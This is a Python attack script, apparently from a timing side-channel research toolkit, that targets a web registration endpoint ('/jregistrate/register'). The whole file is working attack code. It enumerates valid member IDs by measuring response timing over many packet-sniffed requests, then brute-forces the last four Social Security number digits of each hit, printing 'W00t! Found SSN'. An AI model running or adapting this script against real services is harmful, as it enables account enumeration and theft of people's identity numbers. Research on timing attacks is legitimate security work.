1 | #!/usr/bin/env python3 |
---|
2 | #-*- mode: Python;-*- |
---|
3 | |
---|
4 | import sys |
---|
5 | import os |
---|
6 | import time |
---|
7 | import random |
---|
8 | import tempfile |
---|
9 | import argparse |
---|
10 | import socket |
---|
11 | import json |
---|
12 | import functools |
---|
13 | try: |
---|
14 | import requests |
---|
15 | except: |
---|
16 | sys.stderr.write('ERROR: Could not import requests module. Ensure it is installed.\n') |
---|
17 | sys.stderr.write(' Under Debian, the package name is "python3-requests"\n.') |
---|
18 | sys.exit(1) |
---|
19 | |
---|
20 | VERSION = "{DEVELOPMENT}" |
---|
21 | if VERSION == "{DEVELOPMENT}": |
---|
22 | script_dir = '.' |
---|
23 | try: |
---|
24 | script_dir = os.path.dirname(os.path.realpath(__file__)) |
---|
25 | except: |
---|
26 | try: |
---|
27 | script_dir = os.path.dirname(os.path.abspath(sys.argv[0])) |
---|
28 | except: |
---|
29 | pass |
---|
30 | sys.path.append("%s/../../trunk/lib" % script_dir) |
---|
31 | |
---|
32 | from nanownlib import * |
---|
33 | from nanownlib.train import * |
---|
34 | import nanownlib.storage |
---|
35 | |
---|
36 | |
---|
37 | parser = argparse.ArgumentParser( |
---|
38 | description="") |
---|
39 | parser.add_argument('session_data', default=None, |
---|
40 | help='Database file storing session information') |
---|
41 | parser.add_argument('host', default=None, |
---|
42 | help='IP address or host name of server') |
---|
43 | parser.add_argument('port', nargs='?', type=int, default=8080, |
---|
44 | help='TCP port number of HTTP service (default: 8080)') |
---|
45 | parser.add_argument('guess', nargs='?', type=str, default=None, |
---|
46 | help='Retry a member_id guess') |
---|
47 | options = parser.parse_args() |
---|
48 | |
---|
49 | |
---|
50 | hostname = options.host |
---|
51 | port = options.port |
---|
52 | protocol = 'http' |
---|
53 | |
---|
54 | |
---|
55 | def extractReportedRuntime(headers, body): |
---|
56 | try: |
---|
57 | if 'X-Response-Time' in headers: |
---|
58 | t = headers['X-Response-Time'].split('ms')[0] |
---|
59 | return int(float(t)*1000000) |
---|
60 | except: |
---|
61 | pass |
---|
62 | |
---|
63 | return None |
---|
64 | |
---|
65 | |
---|
66 | def sendRequest(data=None): |
---|
67 | method = 'POST' |
---|
68 | path = '/jregistrate/register' |
---|
69 | url = "%s://%s:%d%s" % (protocol,hostname,port,path) |
---|
70 | headers = {"Content-Type":"application/x-www-form-urlencoded"} |
---|
71 | body = (b'member_id='+data.encode('utf-8')+b'&last_four=1111&username=bob&password=1234&conf_pwd=4321') |
---|
72 | req = requests.Request(method, url, headers=headers, data=body).prepare() |
---|
73 | |
---|
74 | retry = True |
---|
75 | while retry: |
---|
76 | try: |
---|
77 | session = requests.Session() |
---|
78 | response = session.send(req, verify=False) |
---|
79 | reported = extractReportedRuntime(response.headers, response.text) |
---|
80 | retry = False |
---|
81 | except Exception as e: |
---|
82 | sys.stderr.write("ERROR: HTTP request problem: %s\n" % repr(e)) |
---|
83 | time.sleep(1.0) |
---|
84 | sys.stderr.write("ERROR: retrying...\n") |
---|
85 | |
---|
86 | return {'userspace_rtt':response.elapsed.microseconds*1000, |
---|
87 | 'reported':reported, |
---|
88 | 'local_port':response.raw._original_response.local_address[1]} |
---|
89 | |
---|
90 | |
---|
91 | def fetch(probedata, data): |
---|
92 | # http://docs.python-requests.org/en/latest/api/#requests.Response |
---|
93 | result = sendRequest(data) |
---|
94 | result.update(probedata) |
---|
95 | |
---|
96 | return result |
---|
97 | |
---|
98 | |
---|
99 | def findMaxSampleID(db): |
---|
100 | cursor = db.conn.cursor() |
---|
101 | cursor.execute("SELECT max(sample) FROM probes") |
---|
102 | return cursor.fetchone()[0] |
---|
103 | |
---|
104 | |
---|
105 | def guessSSN(member_id, last_four): |
---|
106 | method = 'POST' |
---|
107 | path = '/jregistrate/register' |
---|
108 | url = "%s://%s:%d%s" % (protocol,hostname,port,path) |
---|
109 | headers = {"Content-Type":"application/x-www-form-urlencoded"} |
---|
110 | body = (b'member_id='+member_id.encode('utf-8')+b'&last_four='+last_four.encode('utf-8')+b'&username=bob&password=1234&conf_pwd=4321') |
---|
111 | req = requests.Request(method, url, headers=headers, data=body).prepare() |
---|
112 | session = requests.Session() |
---|
113 | response = session.send(req, verify=False) |
---|
114 | |
---|
115 | if 'Bad password' in response.text: |
---|
116 | return True |
---|
117 | else: |
---|
118 | return False |
---|
119 | |
---|
120 | |
---|
121 | def bruteSSN(member_id): |
---|
122 | from nanownlib.parallel import WorkerThreads |
---|
123 | wt = WorkerThreads(4, guessSSN) |
---|
124 | |
---|
125 | for last_four in range(9999): |
---|
126 | ssn = "%4d" % last_four |
---|
127 | wt.addJob(ssn, (member_id,ssn)) |
---|
128 | |
---|
129 | for i in range(9999): |
---|
130 | ssn,success = wt.resultq.get() |
---|
131 | if success: |
---|
132 | wt.stop() |
---|
133 | return ssn |
---|
134 | |
---|
135 | wt.stop() |
---|
136 | return None |
---|
137 | |
---|
138 | |
---|
139 | setCPUAffinity() |
---|
140 | setTCPTimestamps() |
---|
141 | host_ip = socket.gethostbyname(hostname) #XXX: what about multiple A records? |
---|
142 | db = nanownlib.storage.db(options.session_data) |
---|
143 | |
---|
144 | cases = {"invalid":"0012-9999"} |
---|
145 | guesses = [("0012-%04d"%id) for id in range(0,9999) if id != 2019] |
---|
146 | random.shuffle(guesses) |
---|
147 | num_observations = 250 |
---|
148 | trim = (0,0) |
---|
149 | classifier = "quadsummary" |
---|
150 | params = {"distance": 5, "threshold": 18761.53575} |
---|
151 | classifierTest = functools.partial(classifiers[classifier]['test'], params, True) |
---|
152 | |
---|
153 | if options.guess != None: |
---|
154 | guesses = [options.guess] |
---|
155 | |
---|
156 | sid = findMaxSampleID(db) + 1 |
---|
157 | for guess in guesses: |
---|
158 | print("Collecting samples for:", guess) |
---|
159 | start = time.time() |
---|
160 | cases["valid"] = guess |
---|
161 | stype = "attack_%s_%d" % (guess, int(time.time()*1000)) |
---|
162 | sample_order = list(cases.items()) |
---|
163 | |
---|
164 | sniffer_fp = tempfile.NamedTemporaryFile('w+t') |
---|
165 | sniffer = startSniffer(host_ip, port, sniffer_fp.name) |
---|
166 | time.sleep(0.5) # ensure sniffer is fully ready and our process is migrated |
---|
167 | |
---|
168 | for obs in range(num_observations): |
---|
169 | random.shuffle(sample_order) |
---|
170 | now = int(time.time()*1000000000) |
---|
171 | |
---|
172 | results = [] |
---|
173 | for i in range(len(sample_order)): |
---|
174 | results.append(fetch({'sample':sid, 'test_case':sample_order[i][0], |
---|
175 | 'type':stype, 'tc_order':i, 'time_of_day':now}, |
---|
176 | sample_order[i][1])) |
---|
177 | db.addProbes(results) |
---|
178 | db.conn.commit() |
---|
179 | sid += 1 |
---|
180 | |
---|
181 | time.sleep(2.0) # Give sniffer a chance to collect remaining packets |
---|
182 | stopSniffer(sniffer) |
---|
183 | associatePackets(sniffer_fp, db) |
---|
184 | sniffer_fp.close() |
---|
185 | num_probes = analyzeProbes(db, trim=trim) |
---|
186 | |
---|
187 | if classifierTest(db.subseries(stype, "valid")): |
---|
188 | print(" Looks valid...") |
---|
189 | ssn = bruteSSN(guess) |
---|
190 | if ssn == None: |
---|
191 | print(" Hmm, didn't find an SSN... ") |
---|
192 | else: |
---|
193 | print(" W00t! Found SSN: %s" % ssn) |
---|
194 | else: |
---|
195 | print(" Looks invalid") |
---|
196 | print(" Runtime: ", time.time()-start) |
---|